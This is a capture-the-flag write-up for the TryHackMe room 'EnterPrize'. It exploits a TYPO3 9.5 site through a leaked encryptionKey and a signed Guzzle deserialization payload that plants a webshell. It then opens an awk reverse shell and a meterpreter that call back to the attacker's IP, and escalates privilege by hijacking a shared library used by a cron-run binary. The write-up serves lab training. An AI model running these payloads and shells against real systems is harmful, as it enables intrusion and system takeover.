EnterPrize - Write-up - TryHackMe

Information

Room#

  • Name: EnterPrize
  • Profile: tryhackme.com
  • Difficulty: Hard
  • Description: Can you hack your way in?

EnterPrize

Write-up

Overview#

Install tools used in this WU on BlackArch Linux:

1
$ sudo pacman -S nmap feroxbuster ffuf whatweb weevely phpggc metasploit

Network enumeration#

Add a local domain to the host:

1
2
$ grep enterprize /etc/hosts
10.10.161.131 enterprize.thm

Port and service scan with nmap:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# Nmap 7.92 scan initiated Sun Mar  6 16:53:33 2022 as: nmap -sSVC -p- -v -oA nmap_full enterprize.thm
Nmap scan report for enterprize.thm (10.10.161.131)
Host is up (0.038s latency).
Not shown: 65532 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 67:c0:57:34:91:94:be:da:4c:fd:92:f2:09:9d:36:8b (RSA)
| 256 13:ed:d6:6f:ea:b4:5b:87:46:91:6b:cc:58:4d:75:11 (ECDSA)
|_ 256 25:51:84:fd:ef:61:72:c6:9d:fa:56:5f:14:a1:6f:90 (ED25519)
80/tcp open http Apache httpd
|_http-server-header: Apache
|_http-title: Blank Page
| http-methods:
|_ Supported Methods: POST OPTIONS HEAD GET
443/tcp closed https
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Mar 6 16:57:04 2022 -- 1 IP address (1 host up) scanned in 211.02 seconds

Web discovery#

The homepage http://enterprize.thm/ is empty and only displays:

Nothing to see here.

Web enumeration#

Not really any sub-folder:

1
2
3
4
5
6
$ feroxbuster -u http://enterprize.thm/
...
403 7l 20w 199c http://enterprize.thm/var
403 7l 20w 199c http://enterprize.thm/public
403 7l 20w 199c http://enterprize.thm/vendor
403 7l 20w 199c http://enterprize.thm/server-status

The large RAFT life list didn't find any file:

1
2
3
$ feroxbuster -u http://enterprize.thm/ -q -w /usr/share/seclists/Discovery/Web-Content/raft-large-files-lowercase.txt -C 403
200 1l 5w 85c http://enterprize.thm/index.html
200 1l 5w 85c http://enterprize.thm/

So let's use the quickhits.txt list.

1
2
3
4
5
6
7
$ feroxbuster -u http://enterprize.thm/ -q -w /usr/share/seclists/Discovery/Web-Content/quickhits.txt -C 403
200 20l 39w 589c http://enterprize.thm/composer.json
Scanning: http://enterprize.thm/
Scanning: http://enterprize.thm/server-status/
Scanning: http://enterprize.thm/var/backups/
Scanning: http://enterprize.thm/var/logs/
Scanning: http://enterprize.thm/var/log/

There is a composer.json, a file listing installed PHP packages.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$ curl http://enterprize.thm/composer.json -s | jq
{
"name": "superhero1/enterprize",
"description": "THM room EnterPrize",
"type": "project",
"require": {
"typo3/cms-core": "^9.5",
"guzzlehttp/guzzle": "~6.3.3",
"guzzlehttp/psr7": "~1.4.2",
"typo3/cms-install": "^9.5",
"typo3/cms-backend": "^9.5",
"typo3/cms-extbase": "^9.5",
"typo3/cms-extensionmanager": "^9.5",
"typo3/cms-frontend": "^9.5",
"typo3/cms-introduction": "^4.0"
},
"license": "GPL",
"minimum-stability": "stable"
}

Typo3 is an open-source CMS.

Here it is installed in 9.5 version, let's check the install documentation in that version.

Here is the fresh installed tree reported in the documentation:

1
2
3
4
5
6
7
8
9
.
├── .gitignore
├── composer.json
├── composer.lock
├── LICENSE
├── public
├── README.md
├── var
└── vendor

But we can't find any other file. Maybe the website is server via another subdomain.

Let's try virtual server enumeration, there is a subdomain returning a 503 status code:

1
2
3
$ ffuf -u 'http://enterprize.thm/' -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H 'Host: FUZZ.enterprize.thm' -fs 85 -mc all
...
maintest [Status: 503, Size: 1713, Words: 110, Lines: 47, Duration: 45ms]

Let's add the subdomain to the host file:

1
2
$ grep enterprize /etc/hosts
10.10.161.131 enterprize.thm maintest.enterprize.thm

whatweb is able identify the exact version:

1
2
$ whatweb http://maintest.enterprize.thm --plugins typo3 --aggression 3
http://maintest.enterprize.thm [200 OK] TYPO3[9.5.22]

Knowing it is in 9.5.22 version is nice but not very helpful, we would like to enumerate extensions, users, vulnerabilities, like wpscan does for wordpress ... of course there is Typo3Scan.

Let's temporary install it in a virtual environment.

1
2
3
4
5
6
$ cd /tmp
$ git clone https://github.com/whoot/Typo3Scan.git
$ cd Typo3Scan
$ python -m venv venv
$ source venv/bin/activate
$ python -m pip install -r requirements.txt

First update the extension and vulnerability database, then launch a scan:

1
2
$ python typo3scan.py -u
$ python typo3scan.py -d http://maintest.enterprize.thm

Note: Typo3Scan can't find the exact version (9.5.x) which is a pity for a Typo3 focused tool while WhatWeb was able to.

As Typo3Scan failed to detect the exact version it offers lo list all vulnerabilities for 9.5 and we will have to filter the relevant vulnerabilities manually for 9.5.22.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
...
[!] TYPO3-CORE-SA-2020-011
├ Vulnerability Type: Sensitive Data Exposure
├ Subcomponent: Session Storage (ext:core)
├ Affected Versions: 9.5.22 - 9.0.0
└ Advisory URL: https://typo3.org/security/advisory/typo3-core-sa-2020-011

[!] TYPO3-CORE-SA-2020-010
├ Vulnerability Type: Cross-Site Scripting
├ Subcomponent: Fluid (ext:fluid)
├ Affected Versions: 9.5.22 - 9.0.0
└ Advisory URL: https://typo3.org/security/advisory/typo3-core-sa-2020-010

[!] TYPO3-CORE-SA-2020-009
├ Vulnerability Type: Cross-Site Scripting
├ Subcomponent: Fluid Engine (package typo3fluid/fluid)
├ Affected Versions: 9.5.22 - 9.0.0
└ Advisory URL: https://typo3.org/security/advisory/typo3-core-sa-2020-009
...
[!] TYPO3-CORE-SA-2021-006
├ Vulnerability Type: Sensitive Data Exposure
├ Subcomponent: Session Storage (ext:core)
├ Affected Versions: 9.5.24 - 9.0.0
└ Advisory URL: https://typo3.org/security/advisory/typo3-core-sa-2021-006

[!] TYPO3-CORE-SA-2021-005
├ Vulnerability Type: Denial of Service
├ Subcomponent: Page Error Handling (ext:core, ext:frontend)
├ Affected Versions: 9.5.24 - 9.0.0
└ Advisory URL: https://typo3.org/security/advisory/typo3-core-sa-2021-005

[!] TYPO3-CORE-SA-2021-003
├ Vulnerability Type: Broken Access Control
├ Subcomponent: Form Framework (ext:form)
├ Affected Versions: 9.5.24 - 9.0.0
└ Advisory URL: https://typo3.org/security/advisory/typo3-core-sa-2021-003

[!] TYPO3-CORE-SA-2021-002
├ Vulnerability Type: Unrestricted File Upload
├ Subcomponent: Form Framework (ext:form)
├ Affected Versions: 9.5.24 - 9.0.0
└ Advisory URL: https://typo3.org/security/advisory/typo3-core-sa-2021-002

[!] TYPO3-CORE-SA-2021-001
├ Vulnerability Type: Open Redirection
├ Subcomponent: Login Handling (ext:core)
├ Affected Versions: 9.5.24 - 9.0.0
└ Advisory URL: https://typo3.org/security/advisory/typo3-core-sa-2021-001

[!] TYPO3-CORE-SA-2021-013
├ Vulnerability Type: Cross-Site-Scripting
├ Subcomponent: Content Rendering, HTML Parser (ext:frontend, ext:core)
├ Affected Versions: 9.5.28 - 9.0.0
└ Advisory URL: https://typo3.org/security/advisory/typo3-core-sa-2021-013

[!] TYPO3-CORE-SA-2021-012
├ Vulnerability Type: Information Disclosure
├ Subcomponent: User Authentication (ext:core)
├ Affected Versions: 9.5.27 - 9.0.0
└ Advisory URL: https://typo3.org/security/advisory/typo3-core-sa-2021-012

[!] TYPO3-CORE-SA-2021-011
├ Vulnerability Type: Cross-Site Scripting
├ Subcomponent: Backend Grid View (ext:backend)
├ Affected Versions: 9.5.27 - 9.0.0
└ Advisory URL: https://typo3.org/security/advisory/typo3-core-sa-2021-011

[!] TYPO3-CORE-SA-2021-010
├ Vulnerability Type: Cross-Site Scripting
├ Subcomponent: Query Generator & Query View (ext:lowlevel, ext:core)
├ Affected Versions: 9.5.27 - 9.0.0
└ Advisory URL: https://typo3.org/security/advisory/typo3-core-sa-2021-010

[!] TYPO3-CORE-SA-2021-009
├ Vulnerability Type: Cross-Site Scripting
├ Subcomponent: Page Preview (ext:viewpage)
├ Affected Versions: 9.5.27 - 9.0.0
└ Advisory URL: https://typo3.org/security/advisory/typo3-core-sa-2021-009

Also it found 2 extensions:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
[+] Extension Information
-------------------------
[+] bootstrap_package
├ Extension Title: Bootstrap Package
├ Extension Repo: https://extensions.typo3.org/extension/bootstrap_package
├ Extension Url: http://maintest.enterprize.thm/typo3conf/ext/bootstrap_package
├ Current Version: 12.0.4 (stable)
├ Identified Version: 10.0.9
├ Version File: http://maintest.enterprize.thm/typo3conf/ext/bootstrap_package/CHANGELOG.md
└ Known Vulnerabilities:

[!] TYPO3-EXT-SA-2021-007
├ Vulnerability Type: Cross-Site Scripting
├ Affected Versions: 10.0.9 - 10.0.0
└ Advisory Url: https://typo3.org/security/advisory/typo3-ext-sa-2021-007


[+] introduction
├ Extension Title: The Official TYPO3 Introduction Package
├ Extension Repo: https://extensions.typo3.org/extension/introduction
├ Extension Url: http://maintest.enterprize.thm/typo3conf/ext/introduction
├ Current Version: 4.4.1 (stable)
└ Identified Version: -unknown-

TYPO3-CORE-SA-2021-002 file upload doesn't need authentication but won't work for .php or .htaccess as stated in the advisory.

TYPO3-CORE-SA-2021-012 says that user credentials have been logged as plaintext when explicitly using log level debug (non-default).

It doesn't seem we will be able to exploit a vulnerability as is.

Let's go back to enumeration then.

1
2
3
4
5
6
7
8
$ ffuf -u 'http://maintest.enterprize.thm/FUZZ' -c -w /usr/share/seclists/Discovery/Web-Content/raft-small-directories-lowercase.txt -mc all -fs 196
...
typo3 [Status: 301, Size: 245, Words: 14, Lines: 8, Duration: 24ms]
fileadmin [Status: 301, Size: 249, Words: 14, Lines: 8, Duration: 23ms]
typo3conf [Status: 301, Size: 249, Words: 14, Lines: 8, Duration: 24ms]
typo3temp [Status: 301, Size: 249, Words: 14, Lines: 8, Duration: 23ms]
server-status [Status: 403, Size: 199, Words: 14, Lines: 8, Duration: 24ms]
[Status: 503, Size: 1713, Words: 110, Lines: 47, Duration: 39ms]

Note: at some point the application crashes and returns 503 status code.

It seems that directory listing is enabled, so we can list the content of fileadmin or typo3conf folders.

In http://maintest.enterprize.thm/typo3conf/ we can find an old config file renamed with the .old extension: LocalConfiguration.old.

In this configuration file we can read:

  • installToolPassword that has been removed
  • the database password that may have been replaced
  • the system encryptionKey

By searching the two keywords typo3 encryptionKey in attackerKB we find CVE-2020-15099.

We didn't find it early with Typo3Scan because TYPO3-CORE-SA-2020-007 says affected versions are from 9.0.0 to 9.5.19.

With encryptionKey we should be able to create

an administration user account – which can be used to trigger remote code execution by injecting custom extensions.

according to the CVE.

Searching the same keywords on a search engine leads to SynAcktiv article on how to exploit it.

Web exploitation#

The previous article explains how a deserialization vulnerability occurs in the forwardToReferringRequest() function of Typo3. This function is called when a form is sent to the server.

By navigating the website menu we can find a page with a form: http://maintest.enterprize.thm/index.php?id=38

The leaked encryptionKey allows us to compute a valid HMAC to pass the signature check.

Then we need a gadget to exploit the PHP deserialization, as in the article we can see the composer.json includes a guzzle dependency:

1
"guzzlehttp/guzzle": "~6.3.3",

Hopefully phpggc already includes a guzzle gadget chain.

We have all the ingredients we need for our deserialization recipe!

We'll stat by generating a fancy webshell with weevely.

1
2
$ weevely generate norajpass noraj-agent.php
Generated 'noraj-agent.php' with password 'norajpass' of 751 byte size.

Then we'll need to fetch phpggc:

1
2
$ git clone https://github.com/ambionics/phpggc
$ cd phpggc

There are different Guzzle gadgets, for more persistence we'll choose the file write one to write oru webshell.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$ ./phpggc -l Guzzle

Gadget Chains
-------------

NAME VERSION TYPE VECTOR I
Guzzle/FW1 6.0.0 <= 6.3.3+ File write __destruct
Guzzle/INFO1 6.0.0 <= 6.3.2 phpinfo() __destruct *
Guzzle/RCE1 6.0.0 <= 6.3.2 RCE (Function call) __destruct *
Pydio/Guzzle/RCE1 < 8.2.2 RCE (Function call) __toString
WordPress/Guzzle/RCE1 4.0.0 <= 6.4.1+ & WP < 5.5.2 RCE (Function call) __toString *
WordPress/Guzzle/RCE2 4.0.0 <= 6.4.1+ & WP < 5.5.2 RCE (Function call) __destruct *

$ ./phpggc -i Guzzle/FW1
Name : Guzzle/FW1
Version : 6.0.0 <= 6.3.3+
Type : File write
Vector : __destruct

./phpggc Guzzle/FW1 <remote_path> <local_path>

We can probably write into /fileadmin/_temp_/ or /fileadmin/user_upload/ on the remote machine.

1
$ ./phpggc --base64 --fast-destruct Guzzle/FW1 /var/www/html/public/fileadmin/_temp_/noraj-agent.php ../noraj-agent.php > serialized_payload.txt

Before generating the HMAc we need to know which algorithm is used but the article doesn't say it. The quick and dirty way to find it is to analyse the signature generated in the article and guess it.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$ haiti 1337e758b27ba8f6f8eabcaa02afd8e885381337
SHA-1 [HC: 100] [JtR: raw-sha1]
RIPEMD-160 [HC: 6000] [JtR: ripemd-160]
Double SHA-1 [HC: 4500]
Haval-160 (3 rounds) [JtR: dynamic_190]
Haval-160 (4 rounds) [JtR: dynamic_200]
Haval-160 (5 rounds) [JtR: dynamic_210]
Tiger-160
HAS-160
LinkedIn [HC: 190] [JtR: raw-sha1-linkedin]
Skein-256(160)
Skein-512(160)
Ruby on Rails Restful Auth (one round, no sitekey) [HC: 27200]
MySQL5.x [HC: 300] [JtR: mysql-sha1]
MySQL4.1 [HC: 300] [JtR: mysql-sha1]
Umbraco HMAC-SHA1 [HC: 24800]

With the help fo haiti we could probably say it is SHA1.

But the only way to know for sure is the long and smart way: code review.

We know the validateAndStripHmac function is called to validate the hash, so let's find it in the code. By using github search engine I quickly found it is defined in /typo3/sysext/extbase/Classes/Security/Cryptography/HashService.php. Now we need to set a vulnerable version back from that time: 9.5.19.

validateAndStripHmac is defined here:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public function validateAndStripHmac($string)
{
if (!is_string($string)) {
throw new \TYPO3\CMS\Extbase\Security\Exception\InvalidArgumentForHashGenerationException('A hash can only be validated for a string, but "' . gettype($string) . '" was given.', 1320829762);
}
if (strlen($string) < 40) {
throw new \TYPO3\CMS\Extbase\Security\Exception\InvalidArgumentForHashGenerationException('A hashed string must contain at least 40 characters, the given string was only ' . strlen($string) . ' characters long.', 1320830276);
}
$stringWithoutHmac = substr($string, 0, -40);
if ($this->validateHmac($stringWithoutHmac, substr($string, -40)) !== true) {
throw new \TYPO3\CMS\Extbase\Security\Exception\InvalidHashException('The given string was not appended with a valid HMAC.', 1320830018);
}
return $stringWithoutHmac;
}

It does some checks and strips then call validateHmac which is a few line above.

1
2
3
4
public function validateHmac($string, $hmac)
{
return hash_equals($this->generateHmac($string), $hmac);
}

It only compares the provided hash is equal to the generated one by generateHmac:

1
2
3
4
5
6
7
8
9
10
11
public function generateHmac($string)
{
if (!is_string($string)) {
throw new \TYPO3\CMS\Extbase\Security\Exception\InvalidArgumentForHashGenerationException('A hash can only be generated for a string, but "' . gettype($string) . '" was given.', 1255069587);
}
$encryptionKey = $GLOBALS['TYPO3_CONF_VARS']['SYS']['encryptionKey'];
if (!$encryptionKey) {
throw new \TYPO3\CMS\Extbase\Security\Exception\InvalidArgumentForHashGenerationException('Encryption Key was empty!', 1255069597);
}
return hash_hmac('sha1', $string, $encryptionKey);
}

There we can see sha1 is used, without guessing.

Now we have several way of computing the HMAC.

We can use PHP hash_hmac native function.

1
2
3
4
<?php
$sig = hash_hmac('sha1', $argv[1], "71<encryptionKey_edited>0b");
print($sig);
?>
1
2
$ php hmac.php $(cat ./phpggc/serialized_payload.txt)
7c2b7a0949ec730afe7bb908ff2df85973e3a725

There is a linux binary hmac256 from libgcrypt but it works onlmy for SHA256:

1
2
$ hmac256 71<encryptionKey_edited>0b phpggc/serialized_payload.txt
bde6c9cc6c955432791f97803cb1d8edc827fae1b34c70eaca1e19f54e3cd7dc phpggc/serialized_payload.txt

For sha1 we need to use openssl:

1
2
$ cat phpggc/serialized_payload.txt| openssl dgst -sha1 -hmac '71<encryptionKey_edited>0b'
(stdin)= 7c2b7a0949ec730afe7bb908ff2df85973e3a725

We can also use a small ruby script:

1
2
3
require 'openssl'
sig = OpenSSL::HMAC.hexdigest("SHA1", '71<encryptionKey_edited>0b', File.read(ARGV[0]))
puts sig
1
2
$ ruby hmac.rb phpggc/serialized_payload.txt
7c2b7a0949ec730afe7bb908ff2df85973e3a725

The final payload just need to be the concatenation of the base64 encoded serialized webshell and the SHA1 HMAC signature.

That's why validateAndStripHmac stip all but the last 40 chars (SHA1 is 40 chars long).

1
YToyOntpOjc7TzozMToiR3V6emxlSHR0cFxDb29raWVcRmlsZUNvb2tpZUphciI6NDp7czozNjoiAEd1enpsZUh0dHBcQ29va2llXENvb2tpZUphcgBjb29raWVzIjthOjE6e2k6MDtPOjI3OiJHdXp6bGVIdHRwXENvb2tpZVxTZXRDb29raWUiOjE6e3M6MzM6IgBHdXp6bGVIdHRwXENvb2tpZVxTZXRDb29raWUAZGF0YSI7YTozOntzOjc6IkV4cGlyZXMiO2k6MTtzOjc6IkRpc2NhcmQiO2I6MDtzOjU6IlZhbHVlIjtzOjc1MToiPD9waHAKJGQ9JyRrPUdSIjNjR1JiMThlZmMiOyRrR1JHUmg9IjBmR1I0OTdjODNmR1JHUmQxYiI7JGtmPUdSIjNjNzA1Y2JiZTg4ZSI7JEdScD0iR1JsVVNYN0dSWHpvTHNRR1IyOENTSyI7ZnVuY0dSdGlvR1JuIHgoJHRHUkcnOwokRT1zdHJfcmVwbGFjZSgncFInLCcnLCdjcnBScFJwUmVhcFJ0ZV9wUmZ1bnBSY3Rpb24nKTsKJFU9J1IsR1Ikayl7JGM9c3RybGVuKCRrR1JHUik7JGw9c3RybGVuR1IoJHQpO0dSJG89IiI7Zm9HUnIoR1IkaUdSPTA7JGk8R1IkbDspe2ZvcihHUiRHUmo9MDsoJGo8JGMmJiRpPEdSJGwpR1I7JGorKywkaSsrKXskJzsKJGU9J1JwdXQiKSwkR1JtR1IpPT1HUjEpR1Ige0BvYl9zdGFydEdSKCk7QGV2YUdSbChAZ0dSenVuY29tcEdScmVzcyhAR1J4KEdSQGJHUmFzZTY0X2RHUmVjb2RlKCRtWzFdKSwkaykpKUdSOyRvPUBvYkdSX2dldF8nOwokUz0nby49R1IkdEdSeyRpfV4ka3skan1HUjtHUn19R1JyZXRHUnVybiAkbzt9aWYgR1IoQHByZWdfR1JtYUdSdGNoKCIvJGtoR1IoLkdSR1IrKSRrZi8iLEBmaWxlX2dldF9jb25HUnRlbnRzR1IoInBoR1JwOi8vaW5HJzsKJGc9J0dSY29udGVudHMoKTtAR1JvYl9lbkdSZEdSX0dSY2xlYW4oKTskcj1HUkBiYXNHUmU2NF9lbkdSY29kR1JlKEB4KEBnR1J6Y0dSb21wR1JyZXNzKCRvKSwkR1JrKSk7cHJpbkdSdCgiJHAka2gkciRrZiIpO30nOwokVz1zdHJfcmVwbGFjZSgnR1InLCcnLCRkLiRVLiRTLiRlLiRnKTsKJHM9JEUoJycsJFcpOyRzKCk7Cj8+CiI7fX19czozOToiAEd1enpsZUh0dHBcQ29va2llXENvb2tpZUphcgBzdHJpY3RNb2RlIjtOO3M6NDE6IgBHdXp6bGVIdHRwXENvb2tpZVxGaWxlQ29va2llSmFyAGZpbGVuYW1lIjtzOjUzOiIvdmFyL3d3dy9odG1sL3B1YmxpYy9maWxlYWRtaW4vX3RlbXBfL25vcmFqLWFnZW50LnBocCI7czo1MjoiAEd1enpsZUh0dHBcQ29va2llXEZpbGVDb29raWVKYXIAc3RvcmVTZXNzaW9uQ29va2llcyI7YjoxO31pOjc7aTo3O30=7c2b7a0949ec730afe7bb908ff2df85973e3a725

Then fill the form with whatever values you want, intercept the request.

Now we need to replace the field tx_form_formframework[contactForm-144][__state] value with our payload.

Right now my paylaod is failing, the webshell was not uploaded.

I guess my PHP version is too recent:

1
2
3
4
$ php --version
PHP 8.1.3 (cli) (built: Feb 16 2022 13:27:56) (NTS)
Copyright (c) The PHP Group
Zend Engine v4.1.3, Copyright (c) Zend Technologies

Typo3 9 requires a version of PHP between 7.2 and 7.4.

1
2
3
4
5
$ pikaur -S php74 php74-cli
$ php74 --version
PHP 7.4.28 (cli) (built: Mar 8 2022 00:38:22) ( NTS )
Copyright (c) The PHP Group
Zend Engine v3.4.0, Copyright (c) Zend Technologies

So let's try again with PHP 7.4 (diffing the output of phpggc I saw there was a difference).

1
2
3
4
$ php74 ./phpggc --base64 --fast-destruct Guzzle/FW1 /var/www/html/public/fileadmin/_temp_/noraj-agent.php ../noraj-agent.php > serialized_payload.txt

$ ruby hmac.rb phpggc/serialized_payload.txt
3ff24aebfecbd135ed2f71199af38fb186d2485f

Failing again, the webshell was not uploaded. And if it was the weevely webshell that wasn't serializing correctly?

Let's try a simpler webshell.

1
<?php $output = system($_GET[1]); echo $output ; ?>

Failing again, the webshell was not uploaded.

So I stole a payload from another writeup to be able to to RCE and used it find the PHP version to avoid retrying teh same process with many PHP versions. For some reason /usr/bin/php --version was not working so I ran ls -lh /usr/bin | grep php to see what's going on:

1
2
lrwxrwxrwx  1 root   root      21 Jan  3  2021 php -> /etc/alternatives/php
-rwxr-xr-x+ 1 root root 4.7M Oct 7 2020 php7.2

ls -lh /etc/alternatives/php

1
lrwxrwxrwx 1 root root 15 Jan  3  2021 /etc/alternatives/php -> /usr/bin/php7.2

So it seems the server is using PHP 7.2.X. Of course we need the same version to have a valid serialized payload.

The challenge was easier when released as PHP version 7.2 was the latest available on Ubuntu LTS at that time so people just used phpggc without questionning while now identifying the PHP version on the server is difficult as it doesn't leak in HTTP header. Also compiling and installing previous version of PHP can be challenging and time consuming.

So now that I know that I need to use PHP 7.2 I'll use a docker image.

1
2
3
4
5
6
7
8
9
10
11
$ sudo docker pull php:7.2-cli

$ sudo docker run -it php:7.2-cli php --version
PHP 7.2.34 (cli) (built: Dec 11 2020 10:44:02) ( NTS )
Copyright (c) 1997-2018 The PHP Group
Zend Engine v3.2.0, Copyright (c) 1998-2018 Zend Technologies

$ sudo docker run -it -v "$PWD":/usr/src/myapp -w /usr/src/myapp php:7.2-cli php phpggc/phpggc --base64 --fast-destruct Guzzle/FW1 /var/www/html/public/fileadmin/_temp_/noraj-agent.php noraj-agent.php

$ ruby hmac.rb serialized_payload.txt
c8d24d24773e404c6f353bdfef371ce471e320c8

This time it works, my webshell was uploaded!

Unfortunately weevely can't connect but now that uploads work we can upload a more classic PHP webshell.

1
2
3
4
5
6
7
8
9
10
11
12
$ weevely terminal http://maintest.enterprize.thm/fileadmin/_temp_/noraj-agent.php norajpass

[+] weevely 4.0.1

[+] Target: maintest.enterprize.thm
[+] Session: /home/noraj/.weevely/sessions/maintest.enterprize.thm/noraj-agent_1.session

[+] Browse the filesystem or execute commands starts the connection
[+] to the target. Type :help for more information.

weevely> id
Backdoor communication failed, check URL availability and password

From webshell to reverse shell#

Running the id we can see we are in the blocked group.

1
uid=33(www-data) gid=33(www-data) groups=33(www-data),1001(blocked) uid=33(www-data) gid=33(www-data) groups=33(www-data),1001(blocked)

Most binaries are blocked or not available, the only one I found working from https://www.revshells.com/ was the awk one.

1
awk 'BEGIN {s = "/inet/tcp/0/10.9.19.77/9999"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null
1
2
3
4
5
6
7
8
9
10
11
GET /fileadmin/_temp_/inject.php?1=%61%77%6b%20%27%42%45%47%49%4e%20%7b%73%20%3d%20%22%2f%69%6e%65%74%2f%74%63%70%2f%30%2f%31%30%2e%39%2e%31%39%2e%37%37%2f9999%22%3b%20%77%68%69%6c%65%28%34%32%29%20%7b%20%64%6f%7b%20%70%72%69%6e%74%66%20%22%73%68%65%6c%6c%3e%22%20%7c%26%20%73%3b%20%73%20%7c%26%20%67%65%74%6c%69%6e%65%20%63%3b%20%69%66%28%63%29%7b%20%77%68%69%6c%65%20%28%28%63%20%7c%26%20%67%65%74%6c%69%6e%65%29%20%3e%20%30%29%20%70%72%69%6e%74%20%24%30%20%7c%26%20%73%3b%20%63%6c%6f%73%65%28%63%29%3b%20%7d%20%7d%20%77%68%69%6c%65%28%63%20%21%3d%20%22%65%78%69%74%22%29%20%63%6c%6f%73%65%28%73%29%3b%20%7d%7d%27%20%2f%64%65%76%2f%6e%75%6c%6c HTTP/1.1
Host: maintest.enterprize.thm
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:98.0) Gecko/20100101 Firefox/98.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: fe_typo_user=aea48c6f6e1ab39c393bf12f6e25c367; cookieconsent_status=dismiss
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

1
2
3
4
5
6
7
8
$ ncat -lvnp 9999
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::9999
Ncat: Listening on 0.0.0.0:9999
Ncat: Connection from 10.10.29.248.
Ncat: Connection from 10.10.29.248:43931.
shell>id
uid=33(www-data) gid=33(www-data) groups=33(www-data),1001(blocked)

Upgrade reverse shell#

As we have a limited shell we can upload a meterpreter reverse shell.

Craft the meterpreter:

1
$ msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.9.19.77 LPORT=8888 -f elf -o reverse.elf

Start a one-line HTP server:

1
$ ruby -run -ehttpd . -p8000

Download and execute it:

1
2
3
shell>wget http://10.9.19.77:8000/reverse.elf
shell>chmod u+x reverse.elf
shell>./reverse.elf

Receive the connection:

1
2
3
4
5
6
7
msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 10.9.19.77:8888
[*] Sending stage (3020772 bytes) to 10.10.29.248
[*] Meterpreter session 1 opened (10.9.19.77:8888 -> 10.10.29.248:33650 ) at 2022-03-12 18:50:57 +0100

meterpreter >

Elevation of Prevelege (EoP): from www-data to john#

We'll have to get hohn's permissions to read user.txt flag.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ ls -lh /home/john
total 8.0K
drwxrwxrwt 2 john john 4.0K Jan 3 2021 develop
-r-------- 1 john john 38 Jan 3 2021 user.txt

$ ls -lh /home/john/develop
total 24K
-r-xr-xr-x 1 john john 17K Jan 2 2021 myapp
-rw-rw-r-- 1 john john 44 Mar 12 17:58 result.txt

$ ls -lh /home/john/develop/myapp

$ ls -lh /home/john/develop/myapp
-r-xr-xr-x 1 john john 17K Jan 2 2021 /home/john/develop/myapp

Let's check the libraries loaded:

1
2
3
4
5
$ ldd /home/john/develop/myapp
linux-vdso.so.1 (0x00007fff2b16b000)
libcustom.so => /usr/lib/libcustom.so (0x00007eff32e00000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007eff327f8000)
/lib64/ld-linux-x86-64.so.2 (0x00007eff32be9000)

Let's check the ld.so configuration to see how shared libraries are loaded.

1
2
3
4
5
6
7
8
$ cat /etc/ld.so.conf
include /etc/ld.so.conf.d/*.conf

$ ls -lh /etc/ld.so.conf.d/
total 8.0K
-rw-r--r-- 1 root root 44 Jan 27 2016 libc.conf
lrwxrwxrwx 1 root root 28 Jan 3 2021 x86_64-libc.conf -> /home/john/develop/test.conf
-rw-r--r-- 1 root root 100 Apr 16 2018 x86_64-linux-gnu.conf

x86_64-libc.conf is a symlink to /home/john/develop/test.conf where we can write.

With ltrace we can see the function do_ping is called:

1
2
3
4
5
6
7
$ ltrace ./myapp
puts("Welcome to my pinging applicatio"...) = 35
do_ping(0x7fa6aa1e8760, 0x5629ee9dd008, 0x7fa6aa1e98c0, 0x5629ee9dd02a) = 9
Welcome to my pinging application!
Test...

+++ exited (status 0) +++

do_ping must be loaded from libcustom.so.

Let's upload pspy to see if there is a cron job.

  • On host:
    • wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.0/pspy64
    • ruby -run -ehttpd . -p8000
  • On target:
    • wget http://10.9.19.77:8000/pspy64
    • chmod u+x pspy64

We can observe this:

1
2
3
4
5
6
2022/03/12 18:56:01 CMD: UID=0    PID=3713   | /usr/sbin/CRON -f
2022/03/12 18:56:01 CMD: UID=0 PID=3712 | /usr/sbin/CRON -f
2022/03/12 18:56:01 CMD: UID=0 PID=3715 | /bin/sh -c /sbin/ldconfig
2022/03/12 18:56:01 CMD: UID=1000 PID=3714 | /bin/sh -c /home/john/develop/myapp > /home/john/develop/result.txt
2022/03/12 18:56:02 CMD: UID=1000 PID=3717 | /home/john/develop/myapp
2022/03/12 18:56:02 CMD: UID=0 PID=3716 | /sbin/ldconfig.real

So there is a cron job where john launchs the binary.

I'll make my lib launch a meterpreter.

1
2
3
4
5
6
7
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>

void do_ping(){
system("/var/www/html/public/fileadmin/_temp_/reverse_john.elf", NULL, NULL);
}

Then compile the lib on our machine and upload it.

1
$ gcc -shared -o libcustom.so -fPIC libcustom.c

On the target, create the LD config file and copy the bad lib.

1
2
3
$ cd /home/john/develop
$ mv /var/www/html/public/fileadmin/_temp_/libcustom.so .
